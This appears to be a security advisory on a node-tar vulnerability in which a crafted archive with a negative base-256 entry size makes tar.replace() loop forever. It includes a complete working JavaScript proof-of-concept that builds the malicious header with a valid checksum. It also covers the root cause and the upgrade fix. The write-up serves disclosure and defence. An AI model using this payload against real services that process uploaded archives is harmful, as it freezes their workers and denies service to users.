CVE-2026-59874: node-tar Infinite Loop via Negative Base-256 Entry Size
A crafted tar archive with a negative entry size can make node-tar's replace operation loop forever, letting an attacker freeze a worker process with a single malicious file.
The problem
The `tar.replace()` API scans an existing archive before appending new entries. It parses each header and advances the read position by the entry size rounded to a 512-byte block boundary.
Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scanner accepts that negative value, computes a body skip of `-512`, then adds the normal 512-byte header advance, for zero net progress.
The scanner loops on the same header forever and denial of service results.
This is reachable through the public package API whenever the target archive file is attacker-controlled. No extraction path is involved.
Proof of concept
A working proof-of-concept for CVE-2026-59874 in tar, with the exact payload below.
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'
// Build a 512-byte tar header with size field base-256 encoded as -512
const oct = (b, n, off, len) =>
b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')
const badHeader = () => {
const h = Buffer.alloc(512)
h.write('x', 0) // filename
oct(h, 0o644, 100, 8) // mode
oct(h, 0, 108, 8) // uid
oct(h, 0, 116, 8) // gid
// size field (bytes 124-135): base-256 encoded -512
// 0x80 marker byte + 0xff bytes + 0xfe 0x00 = -512 in two's complement
Buffer.alloc(10, 0xff).copy(h, 124)
h[134] = 0xfe
h[135] = 0x00
oct(h, 0, 136, 12) // mtime
h.fill(0x20, 148, 156) // checksum placeholder (spaces)
h[156] = 0x30 // type flag '0' (regular file)
h.write('ustar\0' + '00', 257, 8, 'binary')
// Compute and write real checksum
let sum = 0
for (const c of h) sum += c
h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')
return h
}
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')
fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')
const r = spawnSync(
process.execPath,
[
'--input-type=module',
'-e',
`
import * as tar from 'tar'
tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
console.log('completed')
`,
],
{ timeout: 20_000 }
)
// true means the process timed out (never completed)
console.log(r.error?.code === 'ETIMEDOUT')The root cause is that `header.ts` parsed base-256 encoded sizes without rejecting negative values (CWE-835). With a size of `-512`, the position advance inside the replace scan is `-512 + 512 = 0`, so the loop index never moves forward.
The fix in commit `9e78bf0` introduces a `notNegative` helper that returns `undefined` for any parsed numeric value below zero, applied to the size field in both `header.ts` and `pax.ts`. An `undefined` size causes the scanner to treat the header as malformed and bail out rather than loop.
The checksum on the crafted header is valid, so no prior integrity check catches it. The only gate was the missing lower-bound validation on the parsed size.
The fix
Upgrade `tar` to version 7.5.18 or later. No workaround exists for applications that call `tar.replace()` on attacker-controlled archives in older versions. Pure extraction workflows (`tar.extract`, `tar.list`) are not affected by this specific issue.
Related research
- highaxios Node HTTP Adapter Prototype Pollution Proxy Hijack via Interceptor Config Cloning
- high · 7.7CVE-2026-61835CVE-2026-61835: Directus SSRF Protection Bypass via 0.0.0.0 in File Import
- high · 7.5CVE-2026-13311CVE-2026-13311: shell-quote Quadratic Complexity DoS in parse()
- high · 7.5CVE-2026-59725CVE-2026-59725: engine.io Polling Transport Connection Exhaustion (DoS)